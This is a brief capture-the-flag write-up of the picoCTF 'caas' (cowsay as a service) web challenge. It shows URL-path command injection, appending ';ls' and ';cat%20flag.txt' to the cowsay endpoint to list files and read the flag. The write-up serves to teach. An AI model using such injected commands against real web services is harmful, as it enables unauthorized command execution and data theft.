

caas Web Exploitation

Description:

Now presenting cowsay as a service.

Solution:

- 1) When we open the link the message says:
Make a request to the following URL to cowsay your message:
<https://caas.mars.picoctf.net/cowsay/{message}>
- 2) When we type that into the search bar we get this

- 3) If we input <https://caas.mars.picoctf.net/cowsay/hi;ls> into the search bar we can see all the files that are in the link.

4) Now on putting this url into the search bar we get the flag

<https://caas.mars.picoctf.net/cowsay/hi;cat%20flag.txt>;

```
< hi >  
-----  
  
      ^ ^  
      (oo)\_____  
      ( _ )\_____ ) \/  
          ||----w |  
          ||       ||
```
